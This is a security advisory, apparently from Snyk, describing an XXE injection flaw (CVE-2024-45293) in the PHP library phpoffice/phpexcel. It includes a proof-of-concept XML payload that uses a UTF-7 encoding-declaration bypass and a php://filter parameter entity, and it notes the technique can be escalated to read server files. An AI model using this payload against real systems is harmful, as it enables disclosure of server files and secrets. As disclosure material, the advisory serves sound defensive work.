XML External Entity (XXE) Injection Affecting phpoffice/phpexcel package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (25th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about XML External Entity (XXE) Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-PHPOFFICEPHPEXCEL-9299761
  • published7 Mar 2025
  • disclosed7 Oct 2024
  • credit0xshade, ixSly

Introduced: 7 Oct 2024

CVE-2024-45293  (opens in a new tab)
CWE-611  (opens in a new tab)

How to fix?

There is no fixed version for phpoffice/phpexcel.

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection through the toUtf8 function in the XmlScanner.php file. An attacker can disclose server files and sensitive information by providing an Excel sheet with a modified XML structure, specifying UTF-7 encoding with whitespace before the = in the declaration. Due to insufficient checks for that specification, the default UTF-8 is used and conversion logic is bypassed. This can expose file contents by using the PHP filter wrapper to access the server's filesystem.

PoC

An Excel sheet (XLSX) with at least one cell containing a value is needed.

Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE abc [ ... ]>
  1. The following string is encoded in base64:
<!ENTITY internal 'abc'  >" 

Resulting in:

PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K
  1. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>

When this file is parsed by the library, the value abc should be in the original filled cell.

With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.

CVSS Base Scores

version 4.0
version 3.1